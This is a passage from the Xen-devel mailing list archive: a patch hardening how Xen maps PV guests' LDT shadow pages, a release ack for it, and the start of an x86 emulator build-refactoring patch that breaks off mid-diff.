X-Received: by 2002:a05:600c:8284:b0:493:a5f9:d33d with SMTP id 5b1f17b1804b1-493f8824395mr142823185e9.18.1784036148105;
        Tue, 14 Jul 2026 06:35:48 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: [PATCH] x86/pv: Only use the guest frame in pv_map_ldt_shadow_page()
Date: Tue, 14 Jul 2026 14:35:46 +0100
Message-Id: <20260714133546.1686108-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784036149-CF75B87B-CA0A27C3/10/73395122804
X-purgate-type: spam
X-purgate-size: 2581

pv_map_ldt_shadow_page() takes the whole guest PTE, adds _PAGE_RW to it, then
installs it into Xen's pagetables.  It has had this behaviour ever since LDT
support was added in 2003.

However, it allows the guest to control the software available bits and
cacheability.  This happens to be benign right now, but is bad form.

Use only the guest frame, and construct the mapping as regular RW frame, and
notably includes NX.  This is how the GDT logic already works.

Fixes: 005c2723972f ("Finished virtualisation of x86 LDT")
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
Reviewed-by: Jan Beulich <jbeulich@suse.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>
CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>

For 4.22.  The security team have deemed this not an XSA, but it came
alarmingly close.

This was found originally in an LLM review of the ASI series, where a real
vulnerability had been introduced by using one of the software available bits
to mean "please free this page on unmap".  The LLM did not the issues with
attributes (the guest could almost load a Shadow Stack mapping, saved only by
the forced addition of _PAGE_RW), and the cacheability (saved only because of
how conflicting MTRR and PAT values resolve).

An interesting commit is 928a6621db20 ("Fix bug in new LDT shadow mapping
code", 2003) which did restrict to the guest frame only, but without inserting
_PAGE_PRESENT or any other attributes, so got reverted in the following commit
6841936e9256.
---
 xen/arch/x86/pv/mm.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/xen/arch/x86/pv/mm.c b/xen/arch/x86/pv/mm.c
index 3f2e9dedcde3..5378299b8cef 100644
--- a/xen/arch/x86/pv/mm.c
+++ b/xen/arch/x86/pv/mm.c
@@ -53,7 +53,7 @@ bool pv_map_ldt_shadow_page(unsigned int offset)
     struct vcpu *curr = current;
     struct domain *currd = curr->domain;
     struct page_info *page;
-    l1_pgentry_t gl1e, *pl1e;
+    l1_pgentry_t gl1e, *pl1e, nl1e;
     unsigned long linear = curr->arch.pv.ldt_base + offset;
 
     BUG_ON(in_irq());
@@ -88,9 +88,9 @@ bool pv_map_ldt_shadow_page(unsigned int offset)
     }
 
     pl1e = &pv_ldt_ptes(curr)[offset >> PAGE_SHIFT];
-    l1e_add_flags(gl1e, _PAGE_RW);
+    nl1e = l1e_from_pfn(l1e_get_pfn(gl1e), __PAGE_HYPERVISOR_RW);
 
-    l1e_write(pl1e, gl1e);
+    l1e_write(pl1e, nl1e);
 
     return true;
 }

base-commit: e3aa330017c533cc312ee4751b8387d988682efc
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 13:53:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 13:53:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362399.1614223 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjdZD-0003ug-IS; Tue, 14 Jul 2026 13:52:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362399.1614223; Tue, 14 Jul 2026 13:52:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjdZD-0003uZ-F9; Tue, 14 Jul 2026 13:52:59 +0000
Received: by outflank-mailman (input) for mailman id 1362399;
 Tue, 14 Jul 2026 13:52:58 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjdZC-0003uT-4N
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 13:52:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjdZ8-00HClu-QU
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 15:52:54 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a563f36-5cb7-0a2a0a5109dd-0a2a450bba3e-0
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 15:52:54 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a563f36-b7e8-0a2a450b0019-d155dd34edec-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 15:52:54 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so968926f8f.1
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 06:52:54 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464c9cc3sm8414148f8f.35.2026.07.14.06.52.53
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 06:52:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784037174; x=1784641974; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=60l1e0O0aoeO6Vx/gH/z0qYyLFtXwx6sJzK99Dd0I2Y=;
        b=H27AuHiI7nTau1idnQdH25/XEm5UtsRGCi+9jeUH8h7fJDYcy94evc91fXJ+x+xhAn
         PyU313jwGQ3qV6P8a6ejTOTRMi3gHjDS5cmMdZXcWrv6dcXufSbTaYwexOMUb+bXuI8L
         xVNnSq2183kwNN6u1Kz3Esg8J6k0Lw4eGxXHEg7sZUBR8Besn1tUnfgv/uYZTF3by/XX
         yeyEJ70FRuumatQmXxRkRuuXIeA16s6yeE5pDsVFCv3LHY5GFWiirKmI2bkGymACBrlY
         ls58PVWRQrGZKBryrkKvSvRcyX5xK4+5frIXWLQvZrS50YGRCnMiDBEY5dYFNmPQmK/9
         QMrg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784037174; x=1784641974;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=60l1e0O0aoeO6Vx/gH/z0qYyLFtXwx6sJzK99Dd0I2Y=;
        b=L1MP2dS4c6MyBbBmJW0Fos0ZTSmc4BHqXVtimIevT/RYo9oRA2PxDeU3BO1NNBBQrD
         ZGUWZneAFyjDUVbKVytH9fKFNP3z2Nr0rGDGFhZyg2llepIOeQbcWewcmY0HSzqj/+fE
         Nil6rra9PoRk0L7P8PCjS9hycxiriDbAWyjfVeV6ZbycWO+3qKJPATWIbysqMJ66s8fK
         iVotyB+S/KHF2NEvvss0NonCw6eQhQ0S/0Lm8L24EJ2pO9xa36r7CDU5SO7vPlOWzJR6
         IREuwUn3QiWLQmRbGPi7/Uki0DVPCPinkvBxl2wz5dnRO403bGJ7CBUCnbHWTOB1IUI/
         M7jw==
X-Forwarded-Encrypted: i=1; AHgh+RoX1Yt0IcIQ7uJ/uCb9XmsLIfAdA3ZItGY6fYUXIipJV+IqFaqebqwqGA3wVQSv9qB7ISkBq5jsfFI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwnlKjng1SDkvvtYe82obgLag1/P/Asv9kUP8cRvm6zGlI4xsSv
	sBbNEJGvv8c+FVETMWzLj26Y1UoAdPE3i4sxNgY+lTa0I74U8a6ioW1E
X-Gm-Gg: AfdE7clJa6T1SrqlGcFrnZFi9LaksKKI+WgT1I4XP0eRDrDbufO8MBueX5do3nrXitu
	HCK+LH2xF6qyBLDEMF5BtLltU+vQtCSUp6WRgLWlP229OvfZWJNqzNeNVF7SUfRXwoeNlOdxzsb
	Q8Vpmdwhqa3rEu1Lza/47Ysy68kY999Z8/8LFYFkt9/24o5NSKdYdPZwO8vejWZLlWHWoQ8kL3f
	9mjKSrGdO8x6j9Hmc8aLar9tcbBegg+EKXloVYPt6KvQJm/grV7F+ozEt8HQtXfuZQJxQIVOvss
	WQLERJbTkNjdzPlzB+jTlQlLUOV9C3N+oZ2YMcKtfVp8nWoxbnnnAaH+0fZC4vj59j3hueByy0N
	vDoAyZej0uyp5sgO/u8BfPuBW1/fYXv6oIUgNkyNdaLgZvRtgiUBvL4/9P0dqjQSauRRwYaUZI8
	keZ8wh779V+UW2xAeNR+FfgQydAbBIfB3dq5xQ8qxkE/Pm4B0LYY4Ta3B8AHOBDGJIqrE=
X-Received: by 2002:a05:600c:8715:b0:493:a96b:fa0b with SMTP id 5b1f17b1804b1-494012e2f40mr102138825e9.24.1784037173834;
        Tue, 14 Jul 2026 06:52:53 -0700 (PDT)
Message-ID: <bbc23afb-5075-460e-a6d3-1e6bc7f7675b@gmail.com>
Date: Tue, 14 Jul 2026 15:52:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/pv: Only use the guest frame in
 pv_map_ldt_shadow_page()
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>
References: <20260714133546.1686108-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <20260714133546.1686108-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784037174-1B6D29EA-AAD887C6/10/73395122804
X-purgate-type: spam
X-purgate-size: 1934



On 7/14/26 3:35 PM, Andrew Cooper wrote:
> pv_map_ldt_shadow_page() takes the whole guest PTE, adds _PAGE_RW to it, then
> installs it into Xen's pagetables.  It has had this behaviour ever since LDT
> support was added in 2003.
> 
> However, it allows the guest to control the software available bits and
> cacheability.  This happens to be benign right now, but is bad form.

Considering that w/o the patch guest could control such things ...

> 
> Use only the guest frame, and construct the mapping as regular RW frame, and
> notably includes NX.  This is how the GDT logic already works.
> 
> Fixes: 005c2723972f ("Finished virtualisation of x86 LDT")
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> Reviewed-by: Jan Beulich <jbeulich@suse.com>
> ---
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
> CC: Teddy Astie <teddy.astie@vates.tech>
> CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> For 4.22.  The security team have deemed this not an XSA, but it came
> alarmingly close.
> 
> This was found originally in an LLM review of the ASI series, where a real
> vulnerability had been introduced by using one of the software available bits
> to mean "please free this page on unmap".  The LLM did not the issues with
> attributes (the guest could almost load a Shadow Stack mapping, saved only by
> the forced addition of _PAGE_RW), and the cacheability (saved only because of
> how conflicting MTRR and PAT values resolve).
> 
> An interesting commit is 928a6621db20 ("Fix bug in new LDT shadow mapping
> code", 2003) which did restrict to the guest frame only, but without inserting
> _PAGE_PRESENT or any other attributes, so got reverted in the following commit
> 6841936e9256.
> ---
... it makes sense to have that in 4.22 release:

Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 13:58:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 13:58:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362408.1614232 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjdeE-0004SK-3u; Tue, 14 Jul 2026 13:58:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362408.1614232; Tue, 14 Jul 2026 13:58:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjdeD-0004SD-Vq; Tue, 14 Jul 2026 13:58:09 +0000
Received: by outflank-mailman (input) for mailman id 1362408;
 Tue, 14 Jul 2026 13:58:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wjdeD-0004S7-1j
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 13:58:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjdeC-00816r-7U
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 15:58:08 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a564069-bab6-0a2a0a5309dd-0a2a4503da38-10
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 15:58:08 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a56406f-fae8-0a2a45030019-d1558029d1f7-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 15:58:08 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-493f60208a5so37370245e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 06:58:08 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49506a1fbcesm80087315e9.0.2026.07.14.06.58.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 14 Jul 2026 06:58:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:Subject:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784037487; x=1784642287; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:subject:from:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=XEf/AOPqS32wm5P7jaCi4Hz1U6Z2kQuPSSiw08HTP4A=;
        b=JmDCzoYnnUIg7BmgSP0YGXEcWKVY5ywH7pSwrZmpO2j+azb/QaoMeNxTeYFgxHg9bq
         +UhCp+vbFc3QQ7ok+WtFCZ2TP8ze1stdZQN/948qNkjjIm60X4RF0tLsiep7kKEPenff
         P9Tsu74bUeTwORFVevhD5mhlD3yUfN5oQH+kU4zxAhPo9UfZwiHhMAUcrlKioDVMcYBk
         ipcibQsHTPHBD7xMfjmMjX3E5Kb1BGjWNrRPbQu4N1FcWb0c7bmbR/LKrTsF9oZJ7eCK
         YB5FnHYMoZ53oxPBfdwUdUGqfIrpteUN7nCF0VHgF3u0dKNlR3kfF05kzp/sswCObW4j
         B+Vw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784037487; x=1784642287;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:subject:from:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=XEf/AOPqS32wm5P7jaCi4Hz1U6Z2kQuPSSiw08HTP4A=;
        b=CVFkePoYKKNnpPZTAfAO+4JeNI51hV2LbyJrh6mxLESC4Nu3Lh0gYct1nVPD7fFr5z
         Tpgu/Qb+UKmxjC/L5xGNvlVrZPMzcXe0cIoczSMpk0qjKjOY5Lu6Ry02+/tHFDg7zhJL
         LEM7BlotB+eUAGWZ5QqtQmFyNHUxv4L3Be5AkuQ8WYQCN0L3gMB4S4fMs+A75IgDQ9+j
         9k5ajVwWdarxhrUHmxHhf2VemcZBMmtVGEbHjwmbgQ02YBcqTRo0siCLZHb/N4GxnufR
         PH52VbDxYKGmdsRLrNmpIjViaAax46LSKqGU8yNp4Dd9b6FncquwcggRNRinXsz9qRVZ
         Kilg==
X-Gm-Message-State: AOJu0YzVYzZpWXYRCVpYV5H4iVumsxlcP9SCoHTi2YdIB5nexhH5wrPR
	Yob6pQo4KjO8tPGUdysynVSiy41cwayuz4RN26wqmbauadK1ZhaRgYf4xbBRSCmu+8rMJYGSGGV
	6WunGSQ==
X-Gm-Gg: AfdE7cmew4TCSD6Tu85YbJxu9PDeW/YtOemXHd4tp2ak1iYOuJRCBgjbH0DFhjB9DLN
	dh617r8NyX3XAHvmOUNQzt3qPmgGBqXu3ichb9FuZTvSr3+xREFU6MEl7mSF2ARuGzZSo56Zf4Y
	2aTweeo/IVomrKwvkXwJ8z9qLWkuK9acTArEV19m3P1aMuThF9BMENksW+xyuFot/E7C8Vjdy+f
	BG5iSElHeuPTP0JfYVnOJeLdnreCSCPVeEr0XSHAYgI9z9YNlJOYjvUd+JFkpGrcrKeGSfrugos
	GnXnUYY1XL0RwzL05tyLNjWT66Y9ZDTunL0ywKSd8u9UvaFr3mCDvIUCaXOIrHEjc73z2pdsAit
	6mbXY0L7NgUBOAeutCAWJARRMKLzOz0h9RTEF8ino+TSjMA/+0YpijtJ7NGApke87XolJ/pu+ip
	FcHn6v+2dylFXXQUppK4ndJaaii7Zj19nWIel0nwElsbfbVSwMJ4tSalg+ll54UM24MuQSF/2du
	0+d
X-Received: by 2002:a05:600c:1386:b0:490:5057:f5f7 with SMTP id 5b1f17b1804b1-493f87e5164mr143200715e9.11.1784037487417;
        Tue, 14 Jul 2026 06:58:07 -0700 (PDT)
Message-ID: <e482f2b5-382c-4fbb-b030-5cdaba362599@suse.com>
Date: Tue, 14 Jul 2026 15:58:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH v1.1 1/2] x86emul: drop wrapper C file
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <8a3ee9c3-489a-4dbf-b61b-cd078322b786@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784037488-6D2D84E9-51A897E4/0/0
X-purgate-type: clean
X-purgate-size: 6048

Move the little bit that's still left in x86/x86_emulate.c into a __XEN__
conditional in x86/x86_emulate/x86_emulate.c. Move what are roughly the
test/fuzzing harness counterparts from there into the corresponding #else.

Interestingly more recent gcc takes issue with three static const arrays
which are unused when HVM=n (noticeable in particule in the shim build).
Apparently such are diagnosed only when present in the top-level file, but
not when living in an #include-d one.

Requested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Jan Beulich <jbeulich@suse.com>
Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
v1.1: Address HVM=n build issues. See
      https://gitlab.com/xen-project/hardware/xen-staging/-/pipelines/2674985992.

--- a/tools/tests/x86_emulator/x86-emulate.c
+++ b/tools/tests/x86_emulator/x86-emulate.c
@@ -3,27 +3,6 @@
 #include <errno.h>
 #include <sys/mman.h>
 
-/* See gcc bug 100680, but here don't bother making this version dependent. */
-#define gcc11_wrap(x) ({                  \
-    unsigned long x_;                     \
-    __asm__ ( "" : "=g" (x_) : "0" (x) ); \
-    (typeof(x))x_;                        \
-})
-
-#define cpu_has_amd_erratum(nr) 0
-#define cpu_has_mpx false
-#define read_bndcfgu() 0
-#define xstate_set_init(what)
-
-/* For generic assembly code: use macros to define operation/operand sizes. */
-#ifdef __i386__
-# define __OS          "l"  /* Operation Suffix */
-# define __OP          "e"  /* Operand Prefix */
-#else
-# define __OS          "q"  /* Operation Suffix */
-# define __OP          "r"  /* Operand Prefix */
-#endif
-
 uint32_t mxcsr_mask = 0x0000ffbf;
 struct cpu_policy cpu_policy;
 
--- a/xen/arch/x86/Makefile
+++ b/xen/arch/x86/Makefile
@@ -69,7 +69,6 @@ obj-y += traps-setup.o
 obj-y += traps.o
 obj-$(CONFIG_INTEL) += tsx.o
 obj-$(CONFIG_VM_EVENT) += vm_event.o
-obj-y += x86_emulate.o
 obj-y += xstate.o
 
 ifneq ($(CONFIG_PV_SHIM_EXCLUSIVE),y)
@@ -86,13 +85,6 @@ hostprogs-y += efi/mkreloc
 
 $(obj)/efi/mkreloc: HOSTCFLAGS += -I$(srctree)/include
 
-ifneq ($(CONFIG_HVM),y)
-$(obj)/x86_emulate.o: CFLAGS-y += -Wno-unused-label
-endif
-ifeq ($(CONFIG_CONDITION_COVERAGE)$(CONFIG_CC_IS_GCC),yy)
-$(obj)/x86_emulate.o: CFLAGS-y += -Wno-error=coverage-too-many-conditions
-endif
-
 efi-y := $(shell if [ ! -r $(objtree)/include/xen/compile.h -o \
                       -O $(objtree)/include/xen/compile.h ]; then \
                          echo '$(TARGET).efi'; fi) \
--- a/xen/arch/x86/x86_emulate.c
+++ /dev/null
@@ -1,37 +0,0 @@
-/******************************************************************************
- * x86_emulate.c
- * 
- * Wrapper for generic x86 instruction decoder and emulator.
- * 
- * Copyright (c) 2008, Citrix Systems, Inc.
- * 
- * Authors:
- *    Keir Fraser <keir@xen.org>
- */
-
-#include <xen/event.h>
-
-#include <asm/x86_emulate.h>
-#include <asm/processor.h> /* current_cpu_info */
-#include <asm/xstate.h>
-#include <asm/amd.h> /* cpu_has_amd_erratum() */
-
-/* Avoid namespace pollution. */
-#undef cmpxchg
-#undef cpuid
-#undef wbinvd
-
-#define cpu_has_amd_erratum(nr) \
-        cpu_has_amd_erratum(&current_cpu_data, AMD_ERRATUM_##nr)
-
-#include "x86_emulate/x86_emulate.c"
-
-/*
- * Local variables:
- * mode: C
- * c-file-style: "BSD"
- * c-basic-offset: 4
- * tab-width: 4
- * indent-tabs-mode: nil
- * End:
- */
--- a/xen/arch/x86/x86_emulate/Makefile
+++ b/xen/arch/x86/x86_emulate/Makefile
@@ -1,3 +1,14 @@
+# Put this ahead of the sorted list below, as it takes long to build and hence
+# we'd like parallel make to schedule its building early.
+obj-y += x86_emulate.o
+
+ifneq ($(CONFIG_HVM),y)
+$(obj)/x86_emulate.o: CFLAGS-y += -Wno-unused-label
+endif
+ifeq ($(CONFIG_CONDITION_COVERAGE)$(CONFIG_CC_IS_GCC),yy)
+$(obj)/x86_emulate.o: CFLAGS-y += -Wno-error=coverage-too-many-conditions
+endif
+
 obj-y += 0f01.o
 obj-y += 0fae.o
 obj-y += 0fc7.o
--- a/xen/arch/x86/x86_emulate/x86_emulate.c
+++ b/xen/arch/x86/x86_emulate/x86_emulate.c
@@ -8,8 +8,52 @@
  * Copyright (c) 2005-2007 XenSource Inc.
  */
 
+#ifdef __XEN__
+
+# include <xen/event.h>
+
+# include <asm/amd.h> /* cpu_has_amd_erratum() */
+# include <asm/processor.h> /* current_cpu_info */
+# include <asm/x86_emulate.h>
+# include <asm/xstate.h>
+
+/* Avoid namespace pollution. */
+# undef cmpxchg
+# undef cpuid
+# undef wbinvd
+
+# define cpu_has_amd_erratum(nr) \
+         cpu_has_amd_erratum(&current_cpu_data, AMD_ERRATUM_##nr)
+
+#else /* !__XEN__ */
+
